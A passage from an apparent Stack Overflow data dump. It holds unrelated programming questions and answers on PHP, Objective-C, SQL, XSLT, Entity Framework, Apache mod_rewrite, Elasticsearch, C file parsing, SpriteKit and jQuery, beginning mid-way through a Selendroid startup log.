io.selendroid.android.HardwareDeviceListener from file:/D:/selendroid/se lendroid-standalone-0.5.1-with-dependencies.jar] [Loaded io.selendroid.android.DeviceManager from file:/D:/selendroid/selendroid- standalone-0.5.1-with-dependencies.jar] [Loaded org.json.JSONException from file:/D:/selendroid/selendroid-standalone-0. 5.1-with-dependencies.jar] [Loaded io.selendroid.exceptions.DeviceStoreException from file:/D:/selendroid/s elendroid-standalone-0.5.1-with-dependencies.jar] [Loaded io.selendroid.builder.SelendroidServerBuilder from file:/D:/selendroid/s elendroid-standalone-0.5.1-with-dependencies.jar] [Loaded org.apache.commons.compress.archivers.ArchiveEntry from file:/D:/selendr oid/selendroid-standalone-0.5.1-with-dependencies.jar] [Loaded org.apache.commons.compress.archivers.ArchiveOutputStream from file:/D:/ selendroid/selendroid-standalone-0.5.1-with-dependencies.jar] [Loaded org.apache.commons.compress.archivers.zip.ZipArchiveOutputStream from fi le:/D:/selendroid/selendroid-standalone-0.5.1-with-dependencies.jar] [Loaded java.net.JarURLConnection from shared objects file] [Loaded sun.net.www.protocol.jar.JarURLConnection from shared objects file] [Loaded sun.net.www.protocol.jar.URLJarFile$URLJarFileCloseController from share d objects file] [Loaded sun.net.www.protocol.jar.JarFileFactory from shared objects file] [Loaded sun.net.www.protocol.jar.URLJarFile from shared objects file] [Loaded sun.net.www.protocol.jar.URLJarFile$URLJarFileEntry from shared objects file] [Loaded sun.net.www.protocol.jar.JarURLConnection$JarURLInputStream from shared objects file] [Loaded io.selendroid.android.impl.DefaultAndroidApp from file:/D:/selendroid/se lendroid-standalone-0.5.1-with-dependencies.jar] [Loaded org.apache.commons.exec.CommandLine from file:/D:/selendroid/selendroid- standalone-0.5.1-with-dependencies.jar] [Loaded io.selendroid.android.AndroidSdk from file:/D:/selendroid/selendroid-sta ndalone-0.5.1-with-dependencies.jar] [Loaded java.io.FileFilter from C:\Program Files\Java\jre6\lib\rt.jar] [Loaded java.lang.ProcessEnvironment from shared objects file] [Loaded java.lang.ProcessEnvironment$NameComparator from shared objects file] [Loaded java.lang.ProcessEnvironment$EntryComparator from shared objects file] [Loaded java.util.Collections$UnmodifiableMap from shared objects file] [Loaded java.util.SortedMap from shared objects file] [Loaded java.util.NavigableMap from shared objects file] [Loaded java.util.TreeMap from shared objects file] [Loaded java.lang.ProcessEnvironment$CheckedEntrySet from shared objects file] [Loaded java.lang.ProcessEnvironment$CheckedEntrySet$1 from shared objects file] [Loaded java.lang.ProcessEnvironment$CheckedEntry from shared objects file] [Loaded java.util.TreeMap$Entry from shared objects file] [Loaded io.selendroid.android.AndroidSdk$1 from file:/D:/selendroid/selendroid-s tandalone-0.5.1-with-dependencies.jar] Nov 6, 2013 12:49:09 PM io.selendroid.SelendroidLauncher lauchServer SEVERE: Selendroid was not able to interact with the Android SDK: Command 'aapt' was not found inside the Android SDK. Please update to the latest development t ools and try again. Nov 6, 2013 12:49:09 PM io.selendroid.SelendroidLauncher lauchServer SEVERE: Please make sure you have the lastest version with the latest updates in stalled: Nov 6, 2013 12:49:09 PM io.selendroid.SelendroidLauncher lauchServer SEVERE: http://developer.android.com/sdk/index.html [Loaded java.util.IdentityHashMap$KeySet from shared objects file] [Loaded java.util.IdentityHashMap$IdentityHashMapIterator from shared objects fi le] [Loaded java.util.IdentityHashMap$KeyIterator from shared objects file] Nov 6, 2013 12:49:09 PM `enter code here`io.selendroid.SelendroidLauncher$1 run INFO: Shutting down Selendroid standalone [Loaded sun.nio.ch.FileChannelImpl$FileLockTable$Releaser from shared objects fi le] [Loaded sun.nio.ch.FileChannelImpl$1 from shared objects file] </code></pre> <p>OS : windows 7 32 bit In SDK Manager i dont find any updates available</p> <p>Pls help.Struggling from many days..</p>
5551213	0	php oop private method refrence <p>I have a controller class called "query" and another class named "language" to detect the language from the browser and verify it to be one of the available ones. my code looks like this :</p> <p>in the controller : </p> <pre><code>Language::detect(); </code></pre> <p>in the "language" class :</p> <pre><code>public function detect() { $this-&gt;_verify(substr($_SERVER['HTTP_ACCEPT_LANGUAGE'],0,2)); } private function _verify($input) { $languages=array ( 'English' =&gt; 'en', 'German' =&gt; 'de', ); if (in_array($input,$languages)) { echo $input; } } </code></pre> <p>the problem is it seems like the method _verify() is called as if it belongs to the controller and I get a "Fatal error: Call to undefined method ....."</p> <p>how would I go about calling it so it looks for it within the same class?</p> <p>thank you</p>
2586492	0	Model class for NSDictionary information with Lazy Loading <p>My application utilizes approx. 50+ .plists that are used as NSDictionaries. </p> <p>Several of my view controllers need access to the properties of the dictionaries, so instead of writing duplicate code to retrieve the .plist, convert the values to a dictionary, etc, each time I need the info, I thought a model class to hold the data and supply information would be appropriate. </p> <p>The application isn't very large, but it does handle a good deal of data. I'm not as skilled in writing model classes that conform to the MVC paradigm, and <i>I'm looking for some strategies for this implementation that also supports lazy loading..</i></p> <p>This model class should serve to supply data to any view controller that needs it and perform operations on the data (such as adding entries to dictionaries) when requested by the controller</p> <h3>functions currently planned:</h3> <ul> <li>returning the count on any dictionary</li> <li>adding one or more dictionaries together</li> </ul> <p>Currently, I have this method for supporting the count lookup for any dictionary. Would this be an example of lazy loading?</p> <pre><code>-(NSInteger)countForDictionary: (NSString *)nameOfDictionary { NSBundle *bundle = [NSBundle mainBundle]; NSString *plistPath = [bundle pathForResource: nameOfDictionary ofType: @"plist"]; //load plist into dictionary NSMutableDictionary *dictionary = [[NSMutableDictionary alloc] initWithContentsOfFile: plistPath]; NSInteger count = [dictionary count] [dictionary release]; [return count] } </code></pre>
34887135	0	 <p>If you want distinct then </p> <pre><code>select distinct group_concat(lot order by lot) from `mytable` group by product having group_concat(tag order by tag) = '101,102'; </code></pre>
13522042	0	 <p><strong>This transformation</strong>:</p> <pre><code>&lt;xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"&gt; &lt;xsl:output omit-xml-declaration="yes" indent="yes"/&gt; &lt;xsl:key name="kOffspring" match="Horse" use="SireID"/&gt; &lt;xsl:template match="/*"&gt; &lt;xsl:apply-templates select="Sires/Sire"&gt; &lt;xsl:sort select="sum(key('kOffspring', ID)/*/Stakes)" data-type="number" order="descending"/&gt; &lt;/xsl:apply-templates&gt; &lt;/xsl:template&gt; &lt;xsl:template match="Sire"&gt; Sire &lt;xsl:value-of select="concat(ID,' (', Name, ') Stakes: ')"/&gt; &lt;xsl:value-of select="sum(key('kOffspring', ID)/*/Stakes)"/&gt; 3 year old winning offspring: &lt;xsl:value-of select="count(key('kOffspring', ID)[Age = 3 and */Wins &gt; 0])"/&gt; Offspring that ever were a winner: &lt;xsl:value-of select="count(key('kOffspring', ID)[*/Wins &gt; 0])"/&gt; &lt;/xsl:template&gt; &lt;/xsl:stylesheet&gt; </code></pre> <p><strong>When applied on the provided XML</strong> (the provided fragment, enclosed in a single top element to make it a well-formed XML document):</p> <pre><code>&lt;t&gt; &lt;Horses&gt; &lt;Horse&gt; &lt;ID&gt;1&lt;/ID&gt; &lt;Name&gt;hrsA&lt;/Name&gt; &lt;SireID&gt;101&lt;/SireID&gt; &lt;Age&gt;3&lt;/Age&gt; &lt;Pace&gt; &lt;Stakes&gt;20&lt;/Stakes&gt; &lt;Wins&gt;0&lt;/Wins&gt; &lt;/Pace&gt; &lt;/Horse&gt; &lt;Horse&gt; &lt;ID&gt;2&lt;/ID&gt; &lt;Name&gt;hrsB&lt;/Name&gt; &lt;SireID&gt;101&lt;/SireID&gt; &lt;Age&gt;6&lt;/Age&gt; &lt;Pace&gt; &lt;Stakes&gt;1600&lt;/Stakes&gt; &lt;Wins&gt;9&lt;/Wins&gt; &lt;/Pace&gt; &lt;/Horse&gt; &lt;Horse&gt; &lt;ID&gt;3&lt;/ID&gt; &lt;Name&gt;hrsC&lt;/Name&gt; &lt;SireID&gt;101&lt;/SireID&gt; &lt;Age&gt;3&lt;/Age&gt; &lt;Trot&gt; &lt;Stakes&gt;200&lt;/Stakes&gt; &lt;Wins&gt;2&lt;/Wins&gt; &lt;/Trot&gt; &lt;/Horse&gt; &lt;Horse&gt; &lt;ID&gt;4&lt;/ID&gt; &lt;Name&gt;hrsD&lt;/Name&gt; &lt;SireID&gt;101&lt;/SireID&gt; &lt;Age&gt;4&lt;/Age&gt; &lt;Pace&gt; &lt;Stakes&gt;50&lt;/Stakes&gt; &lt;Wins&gt;0&lt;/Wins&gt; &lt;/Pace&gt; &lt;Trot&gt; &lt;Stakes&gt;100&lt;/Stakes&gt; &lt;Wins&gt;1&lt;/Wins&gt; &lt;/Trot&gt; &lt;/Horse&gt; &lt;Horse&gt; &lt;ID&gt;5&lt;/ID&gt; &lt;Name&gt;hrsE&lt;/Name&gt; &lt;SireID&gt;101&lt;/SireID&gt; &lt;Age&gt;3&lt;/Age&gt; &lt;Pace&gt; &lt;Stakes&gt;100&lt;/Stakes&gt; &lt;Wins&gt;1&lt;/Wins&gt; &lt;/Pace&gt; &lt;Trot&gt; &lt;Stakes&gt;300&lt;/Stakes&gt; &lt;Wins&gt;1&lt;/Wins&gt; &lt;/Trot&gt; &lt;/Horse&gt; &lt;/Horses&gt; &lt;Sires&gt; &lt;Sire&gt; &lt;ID&gt;101&lt;/ID&gt; &lt;Name&gt;srA&lt;/Name&gt; &lt;LiveFoalsALL&gt;117&lt;/LiveFoalsALL&gt; &lt;/Sire&gt; &lt;/Sires&gt; &lt;/t&gt; </code></pre> <p><strong>produces the wanted, correct result:</strong></p> <pre><code> Sire 101 (srA) Stakes: 2370 3 year old winning offspring: 2 Offspring that ever were a winner: 4 </code></pre> <hr> <p><strong>Alternatively, a probably more efficient solution is to use another key that is composite and its two parts are the <code>SireID</code> and the <code>Age</code>:</strong></p> <pre><code>&lt;xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"&gt; &lt;xsl:output omit-xml-declaration="yes" indent="yes"/&gt; &lt;xsl:key name="kOffspring" match="Horse" use="SireID"/&gt; &lt;xsl:key name="kOffspringBySireIdAndAge" match="Horse" use="concat(SireID, '+', Age)"/&gt; &lt;xsl:template match="/*"&gt; &lt;xsl:apply-templates select="Sires/Sire"&gt; &lt;xsl:sort select="sum(key('kOffspring', ID)/*/Stakes)" data-type="number" order="descending"/&gt; &lt;/xsl:apply-templates&gt; &lt;/xsl:template&gt; &lt;xsl:template match="Sire"&gt; Sire &lt;xsl:value-of select="concat(ID,' (', Name, ') Stakes: ')"/&gt; &lt;xsl:value-of select="sum(key('kOffspring', ID)/*/Stakes)"/&gt; 3 year old winning offspring: &lt;xsl:value-of select="count(key('kOffspringBySireIdAndAge', concat(ID, '+3')) [*/Wins &gt; 0] )"/&gt; Offspring that ever were a winner: &lt;xsl:value-of select="count(key('kOffspring', ID)[*/Wins &gt; 0])"/&gt; &lt;/xsl:template&gt; &lt;/xsl:stylesheet&gt; </code></pre> <p><strong>When this transformation is applied on the same XML document (above), the same correct result is produced</strong>:</p> <pre><code> Sire 101 (srA) Stakes: 2370 3 year old winning offspring: 2 Offspring that ever were a winner: 4 </code></pre>
32036453	0	Add custom properties to .tt POCO classes lost on updating model <p>I've created a 3-tier web application using EntityFramework Database first approach. I need to add custom properties to POCO classes that do not exist in the database. However when I update my edmx and Run Custom Tool for the tt file, my classes get refreshed as per the database and I lose the custom properties I created. </p> <p>I need such custom properties in my web application only, and I can't add them to the Database. Is there a way to refresh the POCO classes without losing the custom properties? </p>
869092	0	How to enable mod_rewrite for Apache 2.2 <p>I've got fresh install of Apache 2.2 on my Vista machine, everything works fine, except mod rewrite.</p> <p>I've uncommented </p> <pre><code>LoadModule rewrite_module modules/mod_rewrite.s </code></pre> <p>but none of my rewrite rules works, even simple ones like </p> <pre><code>RewriteRule not_found %{DOCUMENT_ROOT}/index.php?page=404 </code></pre> <p>All the rules I'm using are working on my hosting, so they should be ok, so my question is, is there any hidden thing in apache configuration, that could block mod rewrite?</p>
18410350	0	 <p>This is also works</p> <pre><code>Float("%d.%d" % "3,8".split(",")) </code></pre>
25064338	0	 <p>The processing order is undefined, it depends on the row count and column types in your table and any indexes and their cardinality at the time of execution. It also depends on the conditions themselves. </p> <p>It will only check one condition if the first condition returns <code>TRUE</code> however.</p>
28762230	0	Elasticsearch wont apply not_analyzed into my mapping <p>When I try to apply "not_analyzed" into my ES mapping it doesnt work.</p> <p>I am using this package for ES in Laravel - <a href="https://github.com/adamfairholm/Elasticquent" rel="nofollow">Elasticquent</a></p> <p>My mapping looks like:</p> <pre><code>'ad_title' =&gt; [ 'type' =&gt; 'string', 'analyzer' =&gt; 'standard' ], 'ad_type' =&gt; [ 'type' =&gt; 'integer', 'index' =&gt; 'not_analyzed' ], 'ad_type' =&gt; [ 'type' =&gt; 'integer', 'index' =&gt; 'not_analyzed' ], 'ad_state' =&gt; [ 'type' =&gt; 'integer', 'index' =&gt; 'not_analyzed' ], </code></pre> <p>Afterwards I do an API get call to view the mapping and it will output:</p> <pre><code>"testindex": { "mappings": { "ad_ad": { "properties": { "ad_city": { "type": "integer" }, "ad_id": { "type": "long" }, "ad_state": { "type": "integer" }, "ad_title": { "type": "string", "analyzer": "standard" }, "ad_type": { "type": "integer" }, </code></pre> <p>Note that not_analyzed is missing. I cant see any errors/warnings in my logs either.</p>
36741868	0	 <p>If columns are different i always have success with the below:</p> <pre><code>USE `old_database`; INSERT INTO `new_database`.`new_table`(`column1`,`column2`,`column3`) SELECT `old_table`.`column2`, `old_table`.`column7`, `old_table`.`column5` FROM `old_table` </code></pre>
28142540	0	Reading Text file in C, skip first line <p>I have a big problem with my program. I would like to skip reading from 1st line and then start reading from others. I wasted so much time on searching it in the Internet. </p> <p>This is my txt file. <div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-override"><code>LP bfdhfgd ffhf fhfhf hgf hgf hgf ffryt f uu 1 2015-01-17 20:08:07.994 53.299427 15.906657 78.2 0 2 2015-01-17 20:09:13.042 53.299828 15.907082 73.3 11.2375183105 3 2015-01-17 20:09:22.037 53.300032 15.90741 71.2 12.2293367386 4 2015-01-17 20:09:29.035 53.300175 15.907675 71.5 10.8933238983 5 2015-01-17 20:09:38.003 53.30025 15.907783 71.4 12.3585834503 6 2015-01-17 20:09:49.999 53.300768 15.908423 72.4 14.1556844711 7 2015-01-17 20:09:58.999 53.300998 15.908652 73.7 11.2634601593 8 2015-01-17 20:10:06.998 53.301178 15.908855 72.6 10.8233728409 9 2015-01-17 20:10:15.999 53.301258 15.908952 72.3 10.3842124939 10 2015-01-17 20:10:22.999 53.301332 15.90957 71.5 10.7830705643 </code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code> void OK(char * name) { GPS nr1; //my structure FILE *file; file = fopen(name, "r+t"); if (file!=NULL) { cout &lt;&lt; endl; while (!feof(file)) { fscanf(plik, "%d %s %d:%d:%f %f %f %f %f", &amp;nr1.LP, &amp;nr1.Date, &amp;nr1.hour, &amp;nr1.min, &amp;nr1.sek, &amp;nr1.dl, &amp;nr1.sz, &amp;nr1.high, &amp;nr1.speed); base.push_back(nr1); cout &lt;&lt; nr1.LP &lt;&lt; " " &lt;&lt; nr1.Date &lt;&lt; " " &lt;&lt; nr1.hour &lt;&lt; ":" &lt;&lt; nr1.min &lt;&lt; ":" &lt;&lt; nr1.sek &lt;&lt; " " &lt;&lt; nr1.dl &lt;&lt; " " &lt;&lt; nr1.sz&lt;&lt; " " &lt;&lt; nr1.high &lt;&lt; " " &lt;&lt; nr1.speed &lt;&lt;endl; } } else { cout &lt;&lt; endl &lt;&lt; "ERROR!"; exit(-1); } fclose(file); }</code></pre> </div> </div> </p>
23266650	0	loop music with SKAction <p>I want to loop my background music with an SKAction but the music stops after one row when I swich to an other scene. Is there a way to start the loop and keep playing it over different scenes? right now the code is placed in the init method of MyScene - is there a better place... maybe didFinishLaunchingWithOptions?</p> <p>here is what i've tried:</p> <pre><code>if (delegate.musicOn == YES &amp;&amp; delegate.musicIsPlaying == NO) { SKAction *playMusic = [SKAction playSoundFileNamed:@"loop.wav" waitForCompletion:YES]; SKAction *loopMusic = [SKAction repeatActionForever:playMusic]; [self runAction:loopMusic]; delegate.musicIsPlaying = YES; } </code></pre>
7506170	0	 <p>Because you are on .NET, I recommend you check out the <a href="http://www.dotlesscss.org/">DotLess project</a>. It's open source and very active. They have an HTTP Handler that plugs into IIS, it grabs any request for a .less file and returns a valid CSS file. I don't know what amount of caching they use, but you can probably rely on the browser to cache a good amount of it..</p> <p>The DotLess project also has an executable that will compile when you want (like during a project build), or on demand prgrammatically.</p> <p>The pros and cons for which way you do it really depends on your project. I think the best workflow may be to use LESS.js for development because you don't need external dependencies besides the javascript file, and all the changes are live right away. Then as the project is promoted through various testing and production environments, you can install the web server filter or precompile it. Again, it depends on how you want to solve it for your project.</p>
31975527	0	 <p>Your intuition is correct, <code>trav t_1</code> gets evaluated first as function arguments are evaluated in left to right order. This might seem a little strange, since <code>@</code> is an infix operator, but <code>[1, 2, 3] @ [4, 5, 6]</code> can actually be rewritten as <code>(op @)([1, 2, 3], [4, 5, 6])</code>. You can verify that <code>@</code> evaluates its left argument first by doing:</p> <pre><code>Standard ML of New Jersey v110.78 [built: Sun Jun 7 20:21:33 2015] - (print "test1\n"; [1, 2, 3]) @ (print "test2\n"; [4, 5, 6]); test1 test2 val it = [1,2,3,4,5,6] : int list - </code></pre> <p>Essentially what you have is equivalent to:</p> <pre><code>fun trav Empty = [] | trav(Node(t_1, x, t_2)) = let val l = trav t_1 val r = trav t_2 in l @ (x::r) end </code></pre>
3793093	0	Android EditText, soft keyboard show/hide event? <p>Is it possible to catch the event that Soft Keyboard was shown or hidden for EditText?</p>
37303810	0	 <p>Try this:</p> <pre><code>function Contact_OnAddTelephone() { var type = $("#rdoTelephoneType").val(), areaCode = $("#txtAreaCode").val(), radio = $('&lt;input&gt;').attr({ type: 'radio', id: 'rdoTelePrimary', name: 'rdoTelePrimary', onclick: 'myRadioButtonClickFunction' }); $('#tableTelephone tr:last').after("&lt;tr&gt;&lt;td&gt;" + type + "&lt;/td&gt;&lt;td&gt;" + areaCode + "-" + number + "&lt;/td&gt;&lt;td&gt;" + radio[0].outerHTML + "&lt;/td&gt;&lt;/tr&gt;"); } function myRadioButtonClickFunction(){ // do stuff } </code></pre> <p>NB: Not tested.</p> <p>By the way, you might want to use camelCase on function names.</p>
7816994	0	 <p>Why don't you use a framework for that job?</p> <p>You can try json-framework (formerly SBJSon).</p> <p>Project page : <a href="https://github.com/stig/json-framework" rel="nofollow">https://github.com/stig/json-framework</a></p>
23838310	0	Need Some Assistance On Applying a CSS Class <p>Okay this is what I have.</p> <pre><code>BODY { font-family: sans-serif; background-image: url(http://www.thexboxcloud.com/images/xboxbackground2.jpg); background-repeat: no-repeat; background-attachment: fixed; background-position: left top; position: absolute; margin: 0; margin-right: 15in; } P { position: relative; padding: 1em 1em 1 em 3em; left: 150px; top: auto; border-left: purple .25cm solid; border-top: purple 1px solid; border-bottom: purple 1px solid; } P.pillow { position: absolute; margin-right: 15in; } </code></pre> <p>Everything works fine until I try to set a class for "pillow". I am typing it in right but it seems that one of the upper 2 overrides it.</p> <p>This is what I put to apply the class:</p> <pre><code>&lt;p class="pillow"&gt; </code></pre> <p>Now that should work. </p> <p>I'm trying to make a youtube video and paypal button for "pillow" not have a border around it at all.</p> <p>But when I type it in, it does not override the first p class. Also, it makes the text margin spread out to the whole page when I make the first p class a specific class as well.</p> <p>Could doctype code have anything to do with it? I'm using "loose".</p> <p>But I can't figure out what I can't get a specific class to work. Any help is appreciated. Thanks.</p>
24991152	0	 <p>What you need to do is:</p> <ol> <li><p>Wrap all your answer labels in a <code>div</code> element, something like <code>&lt;div id="answers"&gt;&lt;/div&gt;</code></p></li> <li><p>Dispose of a <code>&lt;br /&gt;</code> elements between labels, instead specifying a style <code>label {display: block;}</code>;</p></li> <li><p>Apply following Javascript code </p></li> </ol> <p>(with jQuery):</p> <pre><code>jQuery(function($){ var answers = $("#answers"); answers.html( answers.find("label").sort(function(){ return Math.round(Math.random())-0.5; }) ); }); </code></pre> <p>And you're good to go.</p> <p>Here's <a href="http://jsfiddle.net/r8Df6/" rel="nofollow">JSFiddle</a></p>
28868383	0	 <p>Use the Party Model. </p> <p>A user is not a person, it's a user. Person and organization are parties. A party hasOne (or no) user.</p> <p>A person hasMany (many2many) relationships with an organization:</p> <p>Individual -&lt; Relationship >- Organization</p> <p>Organizations can have relationships with each other too.</p>
20338368	0	 <p>Your looking for: <code>substring(REF from '([0-9]+(-| )([A-Za-z]\y)?)')</code></p> <p>In <a href="http://www.sqlfiddle.com/#!15/d41d8/496/1" rel="nofollow">SQLFiddle</a>. Your primary problem is that <code>substring</code> returns the first or outermost matching group (ie., pattern surrounded with <code>()</code>), which is why you get 50 for your '50-R'. If you were to surround the entire pattern with <code>()</code>, this would give you '50-R'. However, the pattern you have fails to return what you want on the other strings, even after accounting for this issue, so I had to modify the entire regex.</p>
657912	0	 <p>Resigning over that is a stupid move. You've raised your concerns and maybe they might be taken on board next time.</p> <p>Doing something only supported in Internet Explorer is something I've done in the past. Try coding in a warning for other browsers or something to at least show you're aware.</p>
35122880	0	 <p>This will count the number of primes based on this <a href="http://www.c-sharpcorner.com/blogs/check-a-number-is-prime-number-or-not-in-c-sharp1" rel="nofollow">link</a> and your original answer...</p> <pre><code>public static void main(String[] args) { int isPrimeCount = 0; for(i=0; i&lt;1000; i++) { if(Check_Prime(i)) { isPrimeCount++; } System.out.println(isPrimeCount); } } private static boolean Check_Prime(int number) { int i; for (i = 2; i &lt;= number - 1; i++) { if (number % i == 0) { return false; } } if (i == number) { return true; } return false; } </code></pre>
25250591	0	 <p>The problem is that </p> <pre><code> objc_setAssociatedObject(self, &amp;imageNameKey, name, OBJC_ASSOCIATION_ASSIGN); </code></pre> <p>should be</p> <pre><code> objc_setAssociatedObject(self, &amp;imageNameKey, name, OBJC_ASSOCIATION_COPY_NONATOMIC); </code></pre> <p>or </p> <pre><code> objc_setAssociatedObject(self, &amp;imageNameKey, name, OBJC_ASSOCIATION_COPY); </code></pre> <p>Don't use <code>OBJC_ASSOCIATION_RETAIN</code> or <code>OBJC_ASSOCIATION_RETAIN_NONATOMIC</code> as the string might be mutable. Exactly the same reason the you declare string properties as copy rather than strong. </p> <p>When I test the below code the associated is set and retrieved correctly.</p> <pre><code>@implementation UIImage (Name) static char const imageNameKey; -(NSString *)getImageName { NSString* name = objc_getAssociatedObject(self, &amp;imageNameKey); return name; } -(void) setImageName:(NSString *)name { objc_setAssociatedObject(self, &amp;imageNameKey, name, OBJC_ASSOCIATION_COPY_NONATOMIC); } +(void)load { if(self == [UIImage class]) { Method originalImageNamed, swizzledImageNamed; originalImageNamed = class_getClassMethod(self, @selector(imageNamed:)); swizzledImageNamed = class_getClassMethod(self, @selector(swizzledImageNamed:)); method_exchangeImplementations(originalImageNamed, swizzledImageNamed); } } +(UIImage *)swizzledImageNamed:(NSString*) name { UIImage* image = [self swizzledImageNamed:name]; if(image) [image setImageName:name]; return image; } @end </code></pre>
34950212	1	How to authenticate connected application with key? Django, Python <p>I develop a web-service that through the web-API should be connected with third-party applications via pregenerated key. My solution is to use <code>@csrf_exempt</code>, but it seems to be very bad solution. How to authenticate connected application via key?</p>
14809304	0	 <p>You must have the mime_magic extension on. Check your php.ini and look in phpinfo(). By the way this function has been deprecated as the PECL extension <a href="http://www.php.net/manual/en/ref.fileinfo.php">Fileinfo</a> provides the same functionality (and more) in a much cleaner way.</p> <blockquote> <p>Windows users must include the bundled php_fileinfo.dll DLL file in php.ini to enable this extension.</p> <p>The libmagic library is bundled with PHP, but includes PHP specific changes. A patch against libmagic named libmagic.patch is maintained and may be found within the PHP fileinfo extensions source.</p> </blockquote> <p><a href="http://www.php.net/manual/en/fileinfo.installation.php">Read more</a></p>
3655344	0	 <p>It really depends on how much this format might change over time and what you want to rely on as constant. If you want to assume that your html will always start with <code>&lt;div class="plugin-block"&gt;</code> and the text you want will always be on a line after an h3, you can do something like this:</p> <pre><code>$pattern = '/plugin-block(?:\n|.)*?&lt;\/h3&gt;\s*(.+)/'; preg_match($pattern, $html, $matches); echo $matches[1]; //**Intergrate Sailthru API functionality into your WordPress blog.** </code></pre>
32635501	0	Can't send variable in http request to php <p>I have a problem with my http request. I send a http request to server(using firefox): the <strong>requestheader</strong></p> <pre><code>Host: localhost User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0 Accept: text/html, */*; q=0.01 Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: text/plain; charset=UTF-8 Pragma: no-cache Cache-Control: no-cache Referer: http://localhost/home1/ Content-Length: 15 Cookie: _ga=GA1.1.868084363.1437301524 Connection: keep-alive **request body**: `ip=192.168.1.13` **This is my code on server:** if(isset($_POST['ip'])){ $ip = $_POST["ip"]; echo getLightStatusById($ip).'&amp;'.getSuccess($ip)."eos"; }else{ echo 'error'; } </code></pre> <p>I received message:</p> <pre><code>error </code></pre> <p>if i don't have if condition, i received:</p> <pre><code>undefined index... </code></pre> <p>What am i wrong? Thank you!</p>
28628287	0	Send data from javascript to html and fetch with php <p>ok, i don't know if this is the proper way of doing this. If not, please give me an example on how to do it. How do i fetch the data in the JS and send it to html?</p> <p><strong>JS</strong></p> <pre><code>$(document).ready(function() { var choosenYear = $('#choose_year'); $("#choose_year").select2({ data: [{ id: 0, text: '2015' }, { id: 1, text: '2014' }], val: ["0"] }).select2('val', 0); // Start Change $(choosenYear).change(function() { var choosenYear = $(choosenYear).select2('data').id; $('#choosen_year').val(choosenYear); }); //Change }); </code></pre> <p><strong>HTML</strong></p> <pre><code>&lt;form class="form-inline well col-md-8" id="form-choose_usr" action="#" method="post" enctype="multipart/form-data"&gt; //This is what i POST &lt;div&gt; &lt;input type='hidden' class='col-md-4' id='choose_usr_email' name='choose_usr_email'&gt; &lt;/div&gt; &lt;!-- Select2 choose_year --&gt; &lt;div&gt; &lt;input type='hidden' class='col-md-2' id='choose_year' name='choose_year'&gt; &lt;/div&gt; &lt;!-- Select2 choose_month --&gt; &lt;div&gt; &lt;input type='hidden' id='choosen_year' name='choosen_year'&gt; &lt;input type="submit" class="btn btn-info pull-right" value="Hämta" /&gt; </code></pre> <p><strong>PHP</strong></p> <pre><code>//And this is how i fetch it $posted_choosen_year = $_POST['choosen_year']; echo $posted_choosen_year; </code></pre>
36712874	0	 <p>Try using use a jax-rs implemention or spring.</p> <p>You won;t need to map specific urls to java classes in a servlet mapping file.</p> <p>You include in the class itself.</p>
25615533	0	 <p>You kind of have to set the width when you define the columns , if you don't specify the width it will take the auto width of the content . <strong>Take a look at this DOC</strong> <a href="http://docs.telerik.com/kendo-ui/api/web/grid#configuration-columns.width">http://docs.telerik.com/kendo-ui/api/web/grid#configuration-columns.width</a></p> <pre><code>columns: [ { field: "name", width: "200px" }, { field: "tel", width: "10%" }, // this will set width in % , good for responsive site { field: "age" } // this will auto set the width of the content ], </code></pre> <p>if you need more ways to handel kendo width look at <a href="http://docs.telerik.com/kendo-ui/getting-started/web/grid/walkthrough#column-widths">http://docs.telerik.com/kendo-ui/getting-started/web/grid/walkthrough#column-widths</a></p>
8604042	0	 <h3>Description</h3> <p>You need no DataAnnotation Attribute to do that. In Codefirst you can do the following. The Entity Framework will generate the table you described for you. </p> <h3>Sample</h3> <pre><code>Account { public int Id; } Job { public int Id; public virtual Account Account; } Practice { public int Id; public virtual Account Account; public string Name; } </code></pre> <p>If you want also a <code>ìnt</code> column (<code>AccountId</code>) in your Job / Practice Entity you can do this using the ModelBuilder. The Entity Framwork creates only one foreign key column, like you want.</p> <pre><code>protected override void OnModelCreating(DbModelBuilder modelBuilder) { modelBuilder.Entity&lt;Job&gt;.HasRequired(x =&gt; x.Account).WithMany().HasForeignKey(x =&gt; x.Accountid); // } </code></pre> <h3>More Information</h3> <p><a href="http://weblogs.asp.net/scottgu/archive/2010/08/03/using-ef-code-first-with-an-existing-database.aspx" rel="nofollow">ScottGu - Using EF “Code First” with an Existing Database</a></p> <h2>Update</h2> <p>You can use <a href="http://visualstudiogallery.msdn.microsoft.com/72a60b14-1581-4b9b-89f2-846072eff19d" rel="nofollow">Entity Framework Power Tools CTP1</a> to generate the Models from your existing Database.</p>
18964073	0	 <p>Change your jquery to this:</p> <pre><code>; (function ($) { $.fn.placehold = function (placeholderClassName) { var placeholderClassName = placeholderClassName || "placeholder", supported = $.fn.placehold.is_supported(); function toggle() { for (i = 0; i &lt; arguments.length; i++) { arguments[i].toggle(); } } return supported ? this : this.each(function () { var $elem = $(this), placeholder_attr = $elem.attr("placeholder"); if (placeholder_attr) { if ($elem.val() === "" || $elem.val() == placeholder_attr) { $elem.addClass(placeholderClassName).val(placeholder_attr); } if ($elem.is(":password")) { var $pwd_shiv = $("&lt;input /&gt;", { "class": $elem.attr("class") + " " + placeholderClassName, "value": placeholder_attr }); $pwd_shiv.bind("focus.placehold", function () { toggle($elem, $pwd_shiv); $elem.focus(); }); $elem.bind("blur.placehold", function () { if ($elem.val() === "") { toggle($elem, $pwd_shiv); } }); $elem.hide().after($pwd_shiv); } $elem.bind({ "focus.placehold": function () { if ($elem.val() == placeholder_attr) { $elem.removeClass(placeholderClassName).val(""); } }, "blur.placehold": function () { if ($elem.val() === "") { $elem.addClass(placeholderClassName).val(placeholder_attr); } } }); $elem.closest("form").bind("submit.placehold", function () { if ($elem.val() == placeholder_attr) { $elem.val(""); } return true; }); } }); }; $.fn.placehold.is_supported = function () { return "placeholder" in document.createElement("input"); }; })(jQuery); </code></pre> <p>Then make the function work:</p> <pre><code>$("input, textarea").placehold("something-temporary"); </code></pre>
